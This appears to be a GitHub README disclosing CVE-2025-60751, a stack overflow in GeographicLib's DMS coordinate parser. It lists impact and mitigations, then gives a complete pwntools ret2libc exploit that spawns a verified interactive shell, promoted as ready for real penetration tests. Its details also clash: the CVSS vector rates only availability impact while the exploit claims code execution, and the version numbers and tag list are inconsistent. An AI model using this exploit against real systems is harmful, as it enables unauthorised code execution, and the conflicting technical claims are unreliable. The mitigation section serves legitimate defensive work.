kaleth4/CVE-2025-60751
GitHub: kaleth4/CVE-2025-60751
披露GeographicLib库中DMS坐标解析函数的栈缓冲区溢出漏洞,并提供基于pwntools的专业级漏洞利用代码。
Stars: 0 | Forks: 0
# CVE-2025-60751:GeographicLib 栈缓冲区溢出
## 📝 描述
该漏洞位于 `GeoConvert` 组件的 `DMS::InternalDecode` 函数中。
当库尝试处理格式错误或过长的 **DMS**(*度、分、秒*)坐标字符串时,会发生此故障,导致**写入超出栈上分配缓冲区的边界**。
- **标识符**:`CVE-2025-60751`
- **组件**:`GeoConvert / DMS::InternalDecode`
- **类型**:`Stack-based Buffer Overflow`([CWE-121](https://cwe.mitre.org/data/definitions/121.html))
- **严重程度(CVSS 3.1)**:`7.5 HIGH`
- **向量**:`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
## 🔍 影响
远程攻击者可以发送精心设计的坐标字符串来:
- **拒绝服务(DoS)**:导致使用 `GeographicLib` 转换坐标的应用程序意外关闭(崩溃)。
- **系统不稳定**:破坏栈上相邻的内存,影响程序的执行流程。
## 💻 受影响系统
| 产品 | 受影响版本 | 检测到的分发版本 |
|-----------------|--------------------|-----------------------------------------------|
| `GeographicLib` | `2.5` | **Debian LTS**、Ubuntu 和其他集成了此版本的 Linux 仓库中的软件包 |
## 🛠️ 缓解与解决方案
✅ **更新**:强烈建议更新到最新版本的 `GeographicLib`,其中已修复了 `InternalDecode` 中的长度验证问题。
✅ **输入验证**:如果无法更新,请实施一层清理机制,限制发送到 `DMS::Decode` 的字符串长度(例如,最多 32 个字符)。
✅ **安全编译**:确保使用栈保护标志编译库:
```
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
```
## 📚 参考资料
- [Issue #43 – GeographicLib GitHub](https://github.com/geographiclib/geographiclib/issues/43)
- `zer0matt` 的技术分析
- [Debian LTS Advisory](https://www.debian.org/security/lts/)
## 💀 专业漏洞利用(高级级别 — OSCP / Exploit-DB 风格)
此漏洞利用使用 `pwntools` 执行 **Ret2Libc** 攻击,利用缓冲区溢出。
与基本版本不同,此实现是**稳健、动态且可验证的**,可直接用于真实的渗透测试环境和实验室。
### ✅ 使其成为 *"Pro"* 的特点?
| 特性 | 优势 |
|------------------------------|---------------------------------------------------------------------------|
| 动态 `ROP(elf)` | 不依赖硬编码的 gadgets:自动在二进制文件中查找。 |
| 内置 `GDB` 支持 | 执行 `python exploit.py GDB` → 自动打开调试会话。 |
| 漏洞利用后验证 | 发送 `id` 并在交付交互式 shell 前确认获得 shell。 |
| 用于栈对齐的 `RET` | 避免因对齐不正确导致 `system()` 崩溃(在 x64 上至关重要)。 |
| 将 payload 结构化为 `list` + `b"".join()` | 简洁、可读、易于修改和扩展。 |
### 🐍 漏洞利用代码(`exploit.py`)
```
#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
```
🔐 *安全不是特性——它是一种 discipline。*
📬 漏洞报告:security@geographiclib.org
📦 官方仓库:https://github.com/geographiclib/geographiclib
标签:API密钥检测, C++, CISA项目, CVE-2025-60751, CVSS 3.1, CWE-121, Debian, DMS坐标, DoS, GeographicLib, Stack-based Buffer Overflow, UML, 事件响应, 地理坐标库, 安全漏洞, 开放策略代理, 拒绝服务, 数据擦除, 栈溢出, 缓冲区溢出, 输入验证, 远程攻击, 逆向工具, 配置错误, 高危漏洞